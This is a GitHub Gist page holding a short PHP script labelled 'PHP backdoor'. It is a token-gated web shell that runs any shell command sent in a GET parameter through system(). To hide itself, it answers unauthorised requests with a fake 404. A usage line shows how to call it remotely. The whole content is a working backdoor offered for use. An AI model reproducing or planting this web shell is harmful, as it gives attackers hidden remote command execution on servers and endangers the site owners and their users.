Skip to content

Instantly share code, notes, and snippets.

@sh1n0b1
Created July 16, 2015 08:53
Show Gist options
  • Save sh1n0b1/a3266747e3de0d68bfd7 to your computer and use it in GitHub Desktop.
Save sh1n0b1/a3266747e3de0d68bfd7 to your computer and use it in GitHub Desktop.
PHP backdoor
<?php
//$allowedToken = "509F7BA70C680DDAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
$allowedToken = "<REPLACE_WITH_SOME_RANDOM_LONG_STRING>";
$token = $_GET['token'];
if ($token == $allowedToken){
echo system($_GET['cmd']);
}else{
header("HTTP/1.0 404 Not Found");
die();
}
//Usage: http://example.com/php_shell.php?token=<REPLACE_WITH_SOME_RANDOM_LONG_STRING>&cmd=hostname
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment